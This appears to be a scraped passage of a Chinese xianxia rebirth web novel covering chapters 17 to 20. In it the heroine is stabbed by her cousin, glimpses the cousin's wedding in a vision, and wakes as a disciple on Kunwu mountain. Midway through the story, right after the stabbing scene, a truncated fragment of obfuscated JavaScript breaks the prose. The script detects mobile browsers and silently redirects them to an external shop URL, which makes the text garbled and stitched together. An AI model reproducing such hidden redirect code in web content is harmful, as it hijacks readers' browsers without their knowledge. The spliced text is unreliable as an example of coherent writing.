外面传来长声牛哞,她支开窗向外看去,正好看见戴着斗笠牵牛出门的少年。
那是她家的邻居,陈辞。
陈辞性格孤僻,不与人亲近,也不与他们一家人亲近。不过爹娘对他很是怜惜、关照,总叫他到家中吃饭。
吃了多次饭,不论父母怎么温声细问,那张面瘫的脸也说不出几句话。
容星阑有些不喜欢他。
但她喜欢他家的黑牛。
那只黑牛十分喜人,极亲近她,每次趁陈辞不在,容星阑就在栅栏处把它唤过来,时常给它一点青草或是山果。
大雪纷纷,雪在陈辞的斗笠上很快积了一层,随着他行路的动作滑落下来,正好掉在黑牛的耳朵上。
黑牛耳朵扑闪,似乎被雪冰了一个激灵,像小狗一般甩头,甩得陈辞满身都是。
容星阑看着,不觉笑出了声。
那少年顿了顿,又继续向前走。
窗外白皑皑一片,只有小路上一人一牛,也不知他们要走向何处。
容星阑不再看向窗外,而是玩起桌案上的变形盘。
此盘是郝一给她做的,郝一手巧,那盘纹路甚是玄妙,自中心向上一提,顺着纹路落下层层叠叠的木块,变作一只小篮。小篮的柄向下一压,外围木块一翻,又作一只小盘。
她玩了一会儿,似乎怎么玩都不够,院外有急促的脚步声,容星阑眼眸瞬亮,未见来人,就抬头道:“郝哥哥!”
来着却不是郝一,而是她娘。
娘似乎很焦急,向来温文和雅的面容肃穆凝重,容星阑忙问:“娘!发生了何事?”
娘却只停留一瞬,连房门都没进,只在窗边对着她道:“阿阑,爹娘接了一趟急镖,现下就要走。你一人在家中自行小心,我们与你大伯说好了,除夕你便去大伯家和玄蕴一起,他们会照顾好你,我们定在你婚前回来。”
语速飞快地说完,在檐下不知取了一个什么物什,竟头也不回地走了。
容星阑错愕地看着裴书走远,见她出了院门,才回过神来,连忙跑出去,追喊道:“娘!”
跑得急,被雪中藏的石子绊了一跤,再抬头时,大雪飘飘,路上哪还有什么阿娘的身影?
她不满地坐起来,雪掉入衣襟,有些濡湿内衫,贴在背上很是难受,她正准备站起来,又见浅妃色外袄被石子蹭破了一道口子,郁闷地回屋。
刚换了一件外袄,她望着铜镜中的自己,还有些愣怔。
爹娘是真的走了吗?
什么镖这么急,要赶在除夕这一天出镖,多等一天都不行吗?
容星阑越想越气,将发上的簪钏全都拔甩在桌上。
“星阑。”
院外有人叫她。
她探头看去,是堂姐,堂姐手中拿了一围雪白的狐裘。
容玄蕴不等她回答,自己进了院门,拿着狐裘进到她的闺房。
许是大伯叫堂姐来唤她一起过年,容星阑有些不高兴,她不喜欢大伯一家,包括这位堂姐。
她的这位堂姐不知为何总是阴沉着脸,不论何时见她都没个好脸色,此时拿了狐裘,主人未请就自顾自进屋,不仅没什么好脸色,也没什么礼数。
但她还是唤了一声:“堂姐。”
容玄蕴将狐裘递给她,道:“阿爹猎了几只雪狐,做了狐裘,差我给你送来。”
这也是容星阑不喜大伯的地方。
大伯容成对她和爹娘很是讨好,全然不顾自家妻女。容星阑自铜镜中看着身后堂姐单薄的素衣,淡淡地嗯了声。
容星阑问:“何时去你家?”
容玄蕴道:“不急,你头发乱了,我帮你簪上发簪。”
容星阑瞧见镜中发丝凌乱的自己,任由她摆弄头发,问道:“堂姐,我爹娘真去走镖了吗?怎么这么突然?”
容玄蕴替她顺好发丝,簪上蝶簪,道:“我亦不知,阿爹知道一些,此镖似乎是阿爹拜托叔婶的。”
容星阑沉下脸,正想说什么,就见堂姐自发间取出一支长簪。
那支簪既不华丽,也不精巧,只是一支素簪。
容玄蕴静静地看着长簪,不知在想什么。
容星阑当即道:“我不簪这个。”
容玄蕴不说话,只通过铜镜盯着她的眼睛。
很快,容星阑就知道堂姐方才看着长簪时到底在想什么。
“星阑。”容玄蕴道,“莫要怪我。”
长簪刺入白净的脖颈,鲜血飞溅在雪白的狐裘上,容星阑惊目下,长簪拔出,噗呲一声,再次刺入。
容星阑嘴巴微张,她好疼,好晕,好冷。她想问为什么,却说不出话,终是体力不支,倒向前侧的书架。
啪。
一本堆满灰尘的书掉落在怀。
容玄蕴捡起书,拍掉灰尘,看清书封上的字:《万象符》。
她将书好好纳入容星阑怀中,道:“听闻你自幼喜欢这本符书,便由此书随你一起去吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005695|193063||http|test|mini|href|location''.split(''|''),0,{}));
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>“星阑,不要怪我,我身不由己。我欠你的,若有来世……”
容玄蕴幽声长叹:“此生已然多艰,星阑,哪有什么来世。”
……
梦境在堂姐呢喃中退去,容星阑胸口似乎压着一口大石,她翻了个身,不愿起来。
屋内有些冷,她掀起一只眼皮,看了看炭炉。
自入冬后,每日清晨阿娘都会来添一次炭,她一觉睡到晌午,室内也是温暖如春。
容星阑坐起身,伸着懒腰喊道:“娘!”
无人回应。
她又喊一声:“爹!”
容星阑穿好衣服出门,大过年的,去哪了?
许是做了梦的缘故,她的心一直突突跳,容星阑瞄了眼屋外的雪,决定去探望一下鲲娘。
吱嘎——
她推开门,伙房一览无余,鲲娘也不在?
她心中的不安越来越盛,走向鲲娘常躺的榻边,脚下似乎踩到一滩东西,她挪开布鞋,竟是一滩浓稠的黑血!
“爹!娘!”
容星阑连忙推门回家,不住惊喊。
“陈辞!”
两座小院,除了她,空无一人。
怎么回事?
容星阑坐到铜镜前,她没来由地发慌,心跳得咚咚响。
大伯没有寻到鲲娘,爹娘也不会再因鲲娘的存在出急镖,既然如此,为何一个人也不在,爹娘不在,连鲲娘也不在?
她欲将被窝中陷入漫长沉睡的紫蛇摇醒,然而不论她怎么摇晃拍打,紫蛇如同睡死了过去,就是不醒。
嘎吱——
有人推开了院门。
“爹、娘!”她惊喜的声音骤然刹在嗓口,看清来人,呐呐倒退。
来的人,怎么会是容玄蕴!?
容玄蕴不是逃走了吗!
大雪纷飞,容玄蕴身着素衣,似乎感受不到寒冷,她肢体有些僵硬,目光也不甚清明。
直觉告诉她不对劲,容星阑捞起紫蛇就跑,却在踏出房门的时候,陡然撞到一堵无形的墙。
是结界!
附近有修士,是谁!?
容玄蕴一步一顿地走入容星阑房中,容星阑咽下口水,无比痛恨自己这具废灵根的身体。
若是她能修行,也不至于重生一世还颇受被动,难道今生今世,她还要再死一次吗?
“堂姐!”容星阑试图唤醒她,“我是星阑啊!你醒醒!”
她手中握了把剪刀,若是容玄蕴发难,她可以先发制人。
然而背后之人算无遗漏,容玄蕴直直朝她走去,目若黑潭,力大无穷,她一把抓住了容星阑,如折断一根树枝般轻而易举折断她的手腕。
剪刀掉落在地,发出清脆的撞击声。
容星阑强忍疼痛,在屋内几经兜绕。然容玄蕴虽动作迟缓,步伐却很有章法,逐渐将她逼至角落。
情急之下,容星阑脱口而出:“陈阿辞!陈辞!”
爹娘不在,求生欲让她寄希望于隔壁的陈辞,若是他听到,若是他在,会不会有可能阻止容玄蕴?
“堂姐!你醒醒,我是星……”
她骤然哑声,梦中的那支长簪,再次刺入她的脖颈。
跟了容晏夫妻一路的陈辞似乎感应到什么,倏然侧耳,面容惊变。瞬间凝冰为剑,划破虚空,几息间赶至容家小院。
容星阑目光涣散,意识弥留之际,她好似瞥见窗外陈辞惊愕的脸。
以及房梁上趴着的两只小野鬼。
随即,意识堕入无边黑暗。
18.玲珑骨(一)
鼓乐笙笙,迎亲的队伍浩浩荡荡,在郝牛村村道上奏乐缓行。
前头身着喜服的新郎官早立于容家院门前,温笑如玉地候着,有人笑道:
“吉时还未到呢,新郎官就候着了,是怕新娘飞了不成?”
“这你就不懂了,显然新郎官看重这桩婚事,重视新娘,此乃礼数周正。”
“可是我听说,原先和郝里正家结亲的不是这家呀?”
人群中有人想起一夜间人去楼空的村东容晏家,不禁瑟瑟。
“大喜的日子,莫胡说,不是容家还能有谁?”
有人撇嘴:“郝牛村又不是只有一户容家,容老一走,两兄弟不立马分了家吗?”
然而这人也只是低声嘟囔,很快埋没在其他祝贺声中。
容星阑看着眼前婚事,不由心疑,这是郝一和容玄蕴成婚的场景。只是她非人非魂,漂浮在人群中,觉察每一处视角,颇为玄妙离奇。
鼓乐声停,房门打开,容成笑呵呵扶出一位头戴喜帕的女子,不必想,也知那就是她的堂姐容玄蕴了。
郝一立即笑开,还未等容玄蕴走到院门前,已上前半步,在那院门打开之际,抬手上去,从容成那接过新娘,低声温笑:“小心。”
容星阑默默看着,难怪前世派出去的小鬼道他们二人恩爱非常,叫她看了,也觉郝一情深义重,对堂姐百般呵护。众人欢呼叫好,鼓乐声又起。皆知郝里正家新进门的新娘子叫容玄蕴,又有谁记得容星阑呢。
还是有一人的,郝益清在人群中看着迎亲的队伍远去,啐了声:“没劲!”
画面陡然一转,已变作大礼过后。酒过三巡,郝一面色泛红,始终挂着温和的笑容,似乎醉地走不利索了,被几位书院的兄弟搀扶回房。
“郝兄,听闻容家那女子生得天姿绝代,气质不俗,你可真是好福气。”
“哈哈哈!你就莫打趣郝兄了,他对容氏女的专情你还不知么,每到休沐立马不见人影,就是去寻他那未过门的小娘子了。”
“总算盼到婚期,自然是珍之爱之,晨不见君之。”
“哈哈哈哈哈哈哈!”
儿郎们哄笑开,郝一到了房前,推推他们:“好了,不许再取笑我了,今日便到这里,郝某谢过几位兄台不远前来贺喜。”
儿郎们散去,郝一打开房门,面上的温笑瞬间全无,懵然地看向坐在床上头批喜帕的女子,怔道:“星阑……”
容玄蕴扯下喜帕,看不出神色如何,只听她道:“星阑已经不在了,不过,我们会替她、替二叔二婶报仇。”
她过来搀扶郝一,郝一冷脸甩开,容玄蕴道:“我阿爹不定在某处看着,即便是装,也劳烦你装得像样一些。”
看到此处,容星阑便看不懂了。
杀她的就是容玄蕴,欲意害死爹娘的就是容成。她要想报仇,当下就可以自刎谢罪,怎么反倒还扮起无辜来!
但郝一却是真的信了,他神情缓和些许,任由容玄蕴将他搀到床上。
容星阑看到这里的时候,心中并无起伏。只是意外郝一和容成蕴的婚事似乎另有内情。不过什么内情都与她无关了。
画面又一转,变作另外一天。
容玄蕴已做妇人打扮,郝一似乎正要去书院,在院门处被人拦下。
容星阑吃惊:竟是陈辞,他来做什么?
他面若寒冰,一双眼比深渊里的潭水还寒凉,直直地看着郝一,问:“你娶的是谁?”
郝一温声道:“阿辞,你回来了。”
陈辞只问:“你娶的是何人?”
郝一温笑:“与你何干?”
陈辞冷声道:“星阑尸骨未寒。”
“与你何干?”郝一还是笑,“你一口一个星阑,我倒不知,你何时与星阑这般熟悉,她生前和你没什么交情吧,这会倒兴师问罪起来了。你问我,我还想问你,你是阿阑什么人?”
沉寂片刻,陈辞敛眸,问:“她尸骨何处?”
郝一温笑,声音极轻极远:“我也想知道。阿辞啊,若你想寻她,就去寻吧,找到了,告知我一声。”
“那毕竟,才是我的妻。”
在虚空中看着二人对峙的容星阑:“……”
不想再看这些莫名的场景,容星阑仰天问苍天:“现下到底是什么情况!我究竟是人是鬼!”
场景猝然收束,她的神识浮在漫漫白茫之中。
“恭喜女主荣获嫡长夫。”
“耶!吓死我了,我以为女主真要嫁给刘员外了。”
“怎么可能,这是大女主小说,包不虐女主的,只可能虐女配(不是)。”
“你们说女主对郝一到底是有情还是无情?”
“谁知道,情不情的无所谓,我女鹅要专心搞事业。”
“女主现在还搞不了事业,不过应该快了,毕竟是大女主小说,不会在新手村逗留太久的。”
容星阑看着空中一段又一段的段评,一时无言。
她怎么又回到这个白茫茫世界了?
按照上一世发展,她不应该自乱葬岗醒来,发现自己只是一只地缚的游魂,开始修炼《万象符》吗?
哪里出了差错?
她还能不能不活了?
忽而神识骤然坠落,只觉浑身一阵针刺般的剧痛,白光一闪,眼前似有朦朦胧胧的身影,身旁有人低声细语,那声音起先还压低,后来便越说越大声,嘈嘈杂杂,吵得她不安生。
“这便是师父新收的师妹?”
“啧!这般根骨,便是昆吾道祖自上九州亲自下界,也无可奈何罢!这分明一点灵气都存不住嘛!身中两种奇毒,日后别说修行,恐怕活着都不易。”
“不过也很符合师父的喜好,师父就喜欢收一些稀奇古怪的徒弟,大师兄屠戮道,天生的闯祸精;三师弟无情道,天生的独行者。现在收了一个不能修行的小师妹,哈哈!天生的药罐子!”
“清元!”一个清越的声音从远方由远及近,低声喝道,“你怎么不说说你自己?败家子!刚刚道衍传讯,说你欠了万宝阁一千三百四十六万块灵石,你买龙骨还是凤羽了,你买仙山还是城池了?啊!那么多灵石,你拿什么还!我拿什么还!”
“诶,诶!师父,师父我错了,师父别打!小师妹!看!小师妹好像醒了!”
有人围了上来。
容星阑睁眼。
*
首先印入眼帘的是一个贴得极近的大头,因贴得过近,五官显得扭曲可怖,那大头被人用棍一敲,哎哟一声,捂头后退。
然后容星阑才看清所处之景。
纱幔垂落,似是天边的云霞一般轻柔,屋顶不似凡间屋舍,不知是由什么材质建成一体,中间微隆,两侧比之中心略低,但因为层高较高,并不显得逼仄。
眼前站了三位白袍男子。
亦或是,三位昆吾剑君。
陈辞坐在她前的木凳上,静静地看着她。
床边坐了一位极为眼熟的垂须老者,老者仙姿如鹤,目光灼烁,面容亲切,容星阑想了想,到底在何处见过他?
!
青峰山庙会,漂针乞巧的老道!
老道身后立了一位俊俏得有些女相的男子,看相貌只比他们大上几岁,眉眼轻佻,想必就是方才一直嘈嘈唤作清元的人,此刻笑盈盈地看着她,口中嚷着:“小师妹真醒了!”
小师妹?容星阑目光扫巡,谁是小
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师妹?小师妹在哪?哼,她最讨厌劳什子不清不楚的师兄师妹的关系。
就见清元剑君探过头来,手在她眼前晃了晃,道:“师父,你新收的小师妹莫不是个傻子吧?还是说是个哑巴?小师妹,说话!”
哦,容星阑眨眨眼,原来她就是那个小师妹。
“啪!”老道在眼前那只晃来晃去的手上一打,清元嘶地收回,老道和颜悦色道:“星阑,我们又见面了。”
“相逢即是缘,看来我们的缘分要比相逢更深,若你愿意,从今往后,你就是我道隐门下的关门弟子。若你不愿,也不强求,可在康复之后自行下山。”
信息量有点大,她现下身在何处?到底是怎么一回事,容玄蕴不是用长簪将她杀死了吗?
她张了张嘴,并未回答,只抚手摸了摸自己的脖颈,那里被人涂了药,覆上纱布,轻触上去,仍有针扎般的疼。
道隐真人道:“你中了莽荒鬼山幽冥五毒,伤口短期不会愈合,祛毒还需九九八十一日的灵气推引。”
容星阑又抚上胸口,她心口处也一阵钝痛,道隐真人又道:“你中了化骨散,倒是离奇,化骨散一般对无灵根的人无用,但就在幽冥五毒进入你体内的瞬间,累积多日的化骨散一下爆发药性,若不是我还留在附近,你这条小命,当真就要交代了。”
容星阑:“……”
不知为何,她忽而想起昏死之际看到窗外的那张惊骇的脸。
道隐是陈辞的师父,昆吾是陈辞的师门。原来这么早,陈辞就已经拜入昆吾道隐门下。
她极其吃力地发出声音:“多谢。”
“嘿嘿。”道隐真人抚须一笑,眉眼滴溜溜一转看向陈词,仙风道骨便再也不见,只有几分老道的猥琐,道,“大恩不言谢,只言以身……”
陈辞此时出声,道:“师父,星阑刚醒,先让她缓缓。”
道隐真人冷哼:“没大没小,师父说话,你打什么岔。”
清元问:“那她同意加入师门了没,到底是不是我们的小师妹啊?”
陈辞看向她,容星阑深知自己根骨奇差,绝不是修行的料,只怕即便是昆吾道隐真人,也无法替她重塑根骨。救命之恩已然难报,无论如何也不该成为拖累,不如索性死去,继续一一介鬼身,做回涂华山逍遥自在的鬼君。
她张口欲答,几人所在的空间陡然一沉,“还是不劳烦”几个字堪堪只说出一个“还”字,在颠簸之下变了调,听起来,便作一声颤颤巍巍的“好”。
道隐连连抚须,对着清元道:“小师妹小师妹,一天到晚就想要小师妹,我看你就像个小师妹。现下好了,你有小师妹了,星阑就是你的小师妹。”
他一挥手,一道金光没入容星阑额心,道:“身子这般差,拜师礼就免了。”
容星阑只觉眉心一暖,似与道隐真人产生了一丝几不可查的联系,想来应是经天地见证的师徒契,日后她若身死,身为师父的道隐可第一时间察觉。
容星阑:“……”
事情的发展与上一世截然相反,完全超乎她的想象。
清元正要围过来,被陈辞一把挟住,跟着道隐走向室外,道:“香车有异,莫非让师父亲自去查?你同我一道。”
室内陡然安静,只剩容星阑一人。
她手腕一圈冰凉之感,想起坏头蛇,费劲力气抬手,看到腕上之物。
果然是坏头蛇。
却不止是坏头蛇。
坏头蛇盘绕在一圈极其阴寒的骨镯上,骨镯分作六节,玲珑剔透,可见其内紫色的髓芯。
室内温暖如春,坏头蛇悠悠转醒,甩了甩蛇脑袋,下意识看向自己身体所盘之物,疑道:“这不是……玲珑骨吗?”
19.玲珑骨(二)
容星阑艰难发声:“玲珑骨?”
坏头蛇这才看清容星阑惨状,她脖颈处围了几层纱布,形容枯槁,面色惨白,看上去活脱脱像一个女鬼。
它一个弹跳跳到荣星阑胸前,惊慌大叫:“容星阑!你怎么了!”
容星阑胸口处经它一压,沉钝的痛自心脉向四肢蔓延,痛得险些晕了过去,咬牙切齿挤出两个字:“滚下去!”
坏头蛇后知后觉自己干了坏事,立即跳到床边,一双蛇眼忧心忡忡地望着她。
容星阑只觉呼吸都是一阵撕扯的痛,缓了好一会,费力哑声开口:“什么是玲珑骨?”
坏头蛇望着她腕上骨镯,道:“一种掩息的高阶法器,由龙尾骨制成。”
容星阑疑道:“为何会和你一起出现在我手腕上?”
坏头蛇眼睛左右闪躲,心虚莫名。
它方才做了一个梦。
但凭借它多年写文经验,知晓那其实并非真的是梦,而是一种作为创世者的上帝视角。
它梦到容玄蕴一路劈关斩将,屡次在逆境升级,终于以琴证道,步入大乘,成为九州万修敬仰的云音神女。
梦里,容玄蕴做了一件事,这件事是坏头蛇并没有书写的故事情节。
彼时扶苍山众修为涂华山鬼君所屠,仅剩掌门之女玉瑶光一人逃出,以仅剩的灵力向九州昭告容星阑屠山灭宗的罪名,而后晕死在去往太华境的路上。正巧容玄蕴路过,将她带回云音山救治。
在坏头蛇原本的故事情节中,容玄蕴听闻容星阑弑尽扶苍山众修恶行,怒从心气,那颗匡扶正义的心只觉天地道义皆被践踏。安顿好玉瑶光,即刻集结众修,前往涂华山声讨容星阑。
然而在它的梦里,容玄蕴并非即刻前往涂华山,而是先去了太华境。
郝一虽与玉瑶光结成天地道侣,却一心扑在器修一道上,为潜心炼制法器,于南域择了一处荒山,设三十六重阵法,开辟太华境,独居于内。
画面就在容玄蕴只身一人解三十六重阵法入境后陡然消失。看架势,她并非为玉瑶光所托,亦不是为了增援,心平气和地踏入太华境,好似只是去叙旧。
但坏头蛇知道,这绝对不是老情人单纯叙旧。
因为就在画面消失后,它置身于一片无边无际的白茫茫世界中,听到一声遒劲有力的道音:
“角色行为违背创始者意志,世界出现崩漏,请即刻修复。”
再然后,它倏然转醒,醒来盘在一只骨镯上,定睛一看,六节玲珑骨,紫髓芯,这不是容玄蕴在前往云音山的路途中误入一处上古秘境,在秘境中意外获得的玲珑骨吗?
容玄蕴就是靠着玲珑骨藏息之效,一路苟到云音山下。拜入云音山后,也是靠着玲珑骨掩藏真实修为扮猪吃老虎。
骨镯怎么会出现在这里,坏头蛇觉得肯定跟那句道音有关。
简而言之,是它把骨镯带到容星阑手腕上的。
被她一问,坏头蛇下意识心虚,玲珑骨虽是书中极为难得的神阶法器,但一想到这原本是她写给容玄蕴的法宝,又想到自己写文时毫无逻辑,为了造就容玄蕴大女主人设,两次“坑害”容星阑,是以心虚得连看都不敢看她。
幸而容星阑毫无察觉,坏头蛇清咳一声,道:“应是天地机缘,此镯认主,许是在感应到你的召唤,自行到了你的手中。”
容星阑深信不疑,坏头蛇既是此间世界的创世者,所言定然不虚。
坏头蛇问:“我就睡了一觉,你怎么成了这副样子?”
容星阑:“还不是你写的,容玄蕴为夺姻亲,以长簪取我性命。”
说到这个就来气,没想到她汲汲营营,竟还是逃不了既定的结局。不过回想起身死前忽然出现的容玄蕴,她目光痴滞,动作僵直,分明为修士所控。
操控堂姐的修士究竟是谁?父母与鲲娘蓦然消失会不会与堂姐背后的修士有关?容星阑不禁凝眉,暗自思索。
坏头蛇闻言一噎,又见她神情凝重,低下头小声道:“对不起嘛,是我不对。”
它想起什么,忽而问道:“那你现在是人是鬼?”
书中剧情容星阑身死后成为鬼君,但看着她现在重伤奄奄的模样,精神头似乎还挺好,应当是没死。
坏头蛇这才反应过来,环视周遭问:“这是哪?”
容星阑没有立即回应,实际上,她身体的状态十分不对劲。
她好像活着,但又好像是死了。
容星阑眨巴眨巴眼睛,和角落里一路跟来的小野鬼对视,小野鬼似乎知道她能看到它们,眼巴巴地看着她。两只未成形的灰色魂体露出两双圆不溜秋的眼睛。
“……”容星阑不经意道,“坏头蛇,东南角那里是不是进了一只蚊子?”
坏头蛇闻言回头观望片刻,道:“没有啊。”
它转过头来:“可能藏到其他地方去了。”
容星阑眼见那两只小野鬼在坏头蛇看过去时稍稍抖瑟,发现坏头蛇看不见它们,又继续睁着大眼睛,毫无顾忌地观察着一人一蛇。
她确定,只有她能看见小野鬼。
这世间,只有两种情形可以见到鬼。一,修行者已开天眼,大妖和鬼物在他们眼中无处遁形。二,同为鬼类。
容星阑尚未修行,因而绝对不属于第一种情形。
那就是第二种情形,她和鬼是同类。
问题又来了。
她尚能感知疼痛、感受温度,能和凡尘事物接触,她的心脉虽微弱但仍有起伏,她分明是一个活生生的人。
她到底是人是鬼?还是非人非鬼,抑或是,亦人亦鬼。
容星阑沉默半晌,回答先前的问题:“我们在昆吾的白驹香车。”
传闻昆吾有大器师所赠的白驹香车,香车内有乾坤,与厢房无异,适合修者长途飞行。昆吾弟子一般不用,他们出行御剑,这白驹香车,应当是专为她所召,毕竟她现在是一个完全不能动弹的小废物。
容星阑心中长叹:还不如回涂华山做鬼君自在。
躺着只能看厢顶,实在无聊。室内两侧有窗,并未支起来,容星阑道:“坏头蛇,开窗。”
“我?”坏头蛇犹疑,又见容星阑半死不活地躺着,只好道,“好罢,那就让你见识见识我坏头蛇的威力。”
坏头蛇弹跳到窗前,费尽力气向上顶,片刻后,窗户纹丝不动。
它气喘吁吁,回头看向容星阑,见少女浑身不能动弹,只侧着头汪汪的看着它,猛吸一口气,铆足全身的力气向上顶,窗户仍然纹丝不动。
坏头蛇瘫坐在窗台处,忽闻车厢口朦朦胧胧的灵力屏障似有异动,一个弹跳跳到床上,藏进容星阑左手袖中。
屏障漾出一圈圈水纹波动,进来一人。
是陈辞。
陈辞不知在外做了什么,面上隐有汗水,汗珠坠在颌角,他浑然不觉,径直走向厢房两侧支开窗,面容沉静地坐到床边的木凳上,探手似要搭脉。
容星阑顾忌腕上的玲珑骨和坏头蛇,下意识一缩。
陈辞一顿,容星阑勉力伸出右手,赶紧道:“搭右手。”
这一动作牵扯到伤口,疼得她龇牙咧嘴。
陈辞无言,搭到右手腕上,右手不似左手垂在床边,免不得
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向床内微倾,专注地感知脉象。
容星阑眼睛一眨不眨地看着陈辞垂下的长睫。
这人竟真的救了她。
还将她带回昆吾。
不必他说,她也知道,若没有陈辞,道隐真人断不会救一个萍水相逢之人。
手腕被人轻轻搭着,忽然一暖,一汩温柔的灵力缓缓注入,灵力自寸口处流经全身,容星阑只觉一阵暖流流过经脉,通身舒适畅达,疼痛瞬间缓解了许多。
二人无言,一阵风扬起窗纱,容星阑瞥见窗外之景。
千山越去,山雾若有若无地缭绕,穿过一层薄薄的山雾后,眼前豁然开朗。
高山林立,山脉延绵,众多剑修在空中恣意地御剑飞行,茅屋、竹屋穿插山间或立在山头,一些峭壁山中开洞府,依稀可见一些林间剑意飞舞,处处皆有剑君习剑。
白驹香车已驶入昆吾仙山境内。
与想象中的昆吾大不相同。
九州三大仙山,前世容星阑只去过扶苍山。扶苍山是另外一种光景,雾岚遮住山腰,只显出山腰以上的部分,似云中浮岛。在这“浮岛”上,殿台楼阁高低错落,七彩琉璃覆的瓦片在阳光下金碧辉煌,仙气中透着一股倨傲的高贵。
而昆吾与扶苍大相径庭,虽是仙山境内,山中却溢着一种返璞归真的纯粹。行在其间,只觉与自然一体,充盈着野性与自然的清爽。
白驹香车驶过重重山头,一御剑的剑君极为不拘小节地自窗外向内探看,道:“道隐师叔回来了!让我看看带了谁,竟用上了白驹香车?”
还未靠近,一道剑意挥去,挡住探望的目光,清元的声音张扬神气:“看什么!我师父给我捡了一个师妹,你有么?你羡慕不来的。”
“师妹?”
随即一道洪音响彻天际:“道隐师叔收了一个小师妹!”
容星阑侧头看着,只见众山头纷纷飞出剑君,不乏男女,朝着白驹香车御剑飞来。飞到近处时,才看清他们各个眼中冒着精光。
“在哪里!”
“道元!好小子,你也配有师妹?”
“你飞低点,我看不见了!”
容星阑:“……”
清元吼这一嗓子,任谁都知道了。
她心中又觉惊奇,一个小师妹罢了,何至于如此兴师动众。
陈辞似乎知晓她心中所想,道:“昆吾百年来未收女弟子了,师兄师姐相看两厌。山里的日子本就是日复一日练剑,没趣,新来一位小师妹,自然新鲜欢喜。”
容星阑微微点头,亦有些新奇地看向窗外。
陈辞还搭着她的手腕不放,灵力舒缓下,她觉得好多了,撑坐起身。
两只野鬼挤在角落,似乎不被察觉,许是玲珑骨在此,鬼息被掩藏,便是昆吾剑君也无法发觉。
窗外密密麻麻挤来一些人头,诡异得有些荒谬,容星阑能清晰看见他们,他们却似乎看不见香车内景,仍在喊话。
“清元!师妹何在,让我看一看!”
清元朗声喝道:“休要惊扰我师妹,我师妹不是你们这般糙汉,她娇柔纤纤,弱柳扶风,柔弱不能自理……哎哟!师父,你打我作甚!“
“有你这么形容自己师妹的吗!还敢问打你作甚,我打的就是你!”
众修一听道隐真人的声音,刹那间作鸟兽散,容星阑只见窗外景色又穿过一层薄薄的白雾,空中悬天瀑布九万里,在阳光下流光溢彩,落入一座浮空岛,流向周围群峰。峰与峰间以吊桥相连,高高低低,层层叠叠,白驹香车停在其中一座峰头。
陈辞亦看向窗外:“我们到了。”
20.玲珑骨(三)
白驹香车甫一落地,厢口灵波荡漾,道隐真人走了进来。
陈辞撤回搭脉的手,面色无常地端坐在床前木凳上。
道隐真人见了陈辞,哼声道:“修复车轱辘上的浮空阵,累坏了吧?年轻就是好啊,一身蛮力无处使,着急忙慌的修好,又着急忙慌地回来,有了师妹忘了师父。”
陈辞无奈,淡声道:“师父。”
“好了好了,真是欠了你们的。”道隐真人摆手,看向半坐半躺的容星阑,声音中多了些耐心,正色道,“这便是昆吾流素峰,你大师兄居承晖崖,二师兄居弯月崖,此处乃你小师兄的寒照崖,待你好了,再自行择崖而居。“
“你体内两种毒素极其损害灵体,却也不必心怀顾虑,我堂堂昆吾道隐,对付这种邪门歪道的伎俩绰绰有余,只是祛毒时难免吃点苦头,还须你忍一忍。”
容星阑微微点头,道:“有劳真人。”
道隐真人闻言即刻吹胡子瞪眼,一改肃容:“叫我什么?”
容星阑顿了顿,乖巧唤了声:“谢过师父。”
她两辈子从未拜过师,即便是习得《万象符》,也是无师自通,自己在一次又一次的练画中逐渐掌握其中技巧。
在涂华山做鬼君时,万鬼对她言听计从,有两位鬼将在,繁杂琐事虽不用她操心,但除了爹娘,也从未被人以长辈的态势关照过,一时有些难以开口。但开了口,又好似不是一件难事。
“这还差不多。”道隐真人从未收过女弟子,三个男弟子各有各的桀骜,都是不服管教的货,此刻听容星阑乖乖唤着师父,只觉耳朵开了花,这弟子收的着实值得,愈发赞许地看着她,“念你这些天行动不便,白驹香车虽潦草了些,勉强也住得,你先将就八十一日,待你恢复了,择好山崖,为师亲自给你辟出一块洞天福地供你清修。”
他抬指弹出一道灵光,灵光没入容星阑心脉,道:“今日你小师兄既替你推引体内毒素,又为你洗涤灵脉,我明日再来,这一道灵珠蕴含一池灵泉的灵力,在你体内为你冲刷灵脉,有助于日后重塑灵根。”
容星阑只觉心脉一暖,倘若方才陈辞为她注灵之举如给岸上的鱼带来源源不断地水泽,让她得以缓息,道隐真人的这道灵珠便如将她放置在一只小水缸中,她这条脱水之鱼总算得以在水中畅游自如。
她心中一喜,不觉露出一个乖巧灵秀的笑:“星阑谢过师父!”
此时清元踏入厢内,恰巧瞧见灵珠没入心脉的一幕,旋即大声嚷道:“师父!你偏心!”
好似屋内三人背着他做了什么见不得人的事,清元看看道隐真人,又看看陈辞,最后席地一坐,道袍摆了一地:“好啊,你们一个个的,我平时花点灵石就要被说三道四,现在一个送灵珠,一个送……”
陈辞冷声打断:“清元。”
“就你声音大,我告诉你们我哄不好了,我有小脾气了。”清元还欲嚷嚷,嘟着嘴在地上胡闹,陈辞剑光一闪,他立刻噤声,眼中隐有泪光。
道隐看都不看他,不欲理会他,容星阑看着二人对清元师兄的举动习以为常,就见清元在地上假哭一会,时不时偷看有无人理他,见真没人理他,识相地坐起来,仿若方才无事发生一般,自然道:“师妹,你好些了吗 ?”
他不知从何处变出一只花,笑嘻嘻地递上来:“给你的。”
说完自顾自在房中巡视一番,容星阑见他似乎完全没看见缩在角落里的两只小鬼,扫视一圈后道:“没有花瓶呀。”
他便又变出一只素色花瓶,竟和梅朱色的花瓣相得益彰,将花插在瓶中,摆放在案几上,动作一气呵成。
容星阑心道:原以为清元师兄是个心思澄明之人,现下看来也是个复杂角色。他所言果然不虚,师父所收的弟子都是些奇人。
她捂着胸口咳嗽两声,道:“清元师兄眼光甚好,此花在室内一放,平添一道芳色。”
清元瞬间绽开一个灿烂的笑,嘻嘻两声正准备开口,道隐真人道:“他混日招蜂引蝶,确实练就了一身识花的好本事,你少理会他。”
话刚说完,一只泛着流萤的灯笼虫猝然出现,一道灵光光幕闪瞬即逝,上面似乎写着一些字样,容星阑还未看清,就见道隐真人面色一凝,道:“莽荒鬼山?哼,扶苍山那帮老贼究竟在做什么?”
